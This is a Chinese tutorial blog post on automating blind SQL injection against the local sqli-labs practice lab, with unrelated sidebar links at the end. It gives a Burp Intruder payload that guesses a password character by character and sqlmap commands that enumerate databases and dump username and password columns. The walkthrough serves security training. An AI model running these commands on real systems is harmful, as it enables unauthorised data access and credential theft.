当前位置:网站首页>【工具跑SQL盲注】
【工具跑SQL盲注】
2022-07-03 04:33:00 【黑色地带(崛起)】
目录
一、(工具)burp跑盲注
1.1、方法一:爆破
抓包之后,将请求发送到"Intruder"模块
设置2个有效载荷
1.2、方法二:注入语句爆破
注入构造语句,进行迭代操作
(select case when '§0§' = lower(substring((select password from employees where empid=1),§1§,1)) then 1 else 0 end)
二、(工具)sqlmap跑布尔盲注
2.1、命令:
-u 指定注入点
--dbs 跑库 名
--tables 跑表 名
--columns 跑字段 名
--dump 枚举数据
跑出对应的后,依次加上-D 指定库 -T 指定表 -C 指定字段
2.2、利用过程:
第一步:检测是否存在注入
基础操作
python sqlmap.py http://localhost:8080/sqli-labs-master/Less-5/?id=1 --batch
--batch是使用默认设置
其实环境都扫出来了
就可以再加上--dbms mysql了
第二步:爆数据库名
命令
#获取全部数据库
sqlmap.py -u url --dbs --batch
---------
#获取当前数据库
sqlmap.py -u url --current-dbs --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' --dbs --batch
第三步:爆数据库表名
命令
python sqlmap.py -u url -D DB --tables --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security --tables --batch
第四步:爆字段名
命令:
sqlmap.py -u url -D DB -T TBL --columns --batch
基础操作
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users --columns --batch
第五步:爆数据
命令:
sqlmap.py -u url -D DB -T TBL -C "COL1,COL2" --dump --batch
基础操作:
python sqlmap.py -u 'http://localhost:8080/sqli-labs-master/Less-5/?id=1' -D security -T users -C "username,password" --dump --batch
三、推荐
边栏推荐
- Mongodb slow query optimization analysis strategy
- C Primer Plus Chapter 10, question 14 3 × 5 array
- Dive into deep learning - 2.1 data operation & Exercise
- PostgreSQL database high availability Patroni source code learning - etcd class
- Matplotlib -- save graph
- 220214c language learning diary
- Two drawing interfaces - 1 Matlab style interface
- 重绘和回流
- Which Bluetooth headset is cost-effective? Four Bluetooth headsets with high cost performance are recommended
- 2022 chemical automation control instrument examination summary and chemical automation control instrument certificate examination
猜你喜欢

Two points -leetcode-540 A single element in an ordered array
![[literature reading] sparse in deep learning: practicing and growth for effective information and training in NN](/img/7e/50fa6f65b5a4f0bb60909f57daff56.png)
[literature reading] sparse in deep learning: practicing and growth for effective information and training in NN

使用BENCHMARKSQL工具对KingbaseES预热数据时执行:select sys_prewarm(‘NDX_OORDER_2 ‘)报错

跨境电商多商户系统怎么选

Bugku CTF daily question baby_ flag. txt

Feature_selection

redis 持久化原理

智能合约安全审计公司选型分析和审计报告资源下载---国内篇

arthas watch 抓取入参的某个字段/属性

Internationalization and localization, dark mode and dark mode in compose
随机推荐
Bugku CTF daily question baby_ flag. txt
data2vec! New milestone of unified mode
Leetcode simple question: check whether two string arrays are equal
2022 t elevator repair simulation examination question bank and t elevator repair simulation examination question bank
Priv app permission exception
How to use kotlin to improve productivity: kotlin tips
商城系统搭建完成后需要设置哪些功能
X-ray normal based contour rendering
会员积分商城系统的功能介绍
Prefix and (continuously updated)
[dynamic programming] subsequence problem
跨境电商多商户系统怎么选
redis 持久化原理
Web - Information Collection
Which code editor is easy to use? Code editing software recommendation
Solve BP Chinese garbled code
Fcpx template: sweet memory electronic photo album photo display animation beautiful memory
4 years of experience to interview test development, 10 minutes to end, ask too
Kingbasees plug-in KDB of Jincang database_ date_ function
JS multidimensional array to one-dimensional array












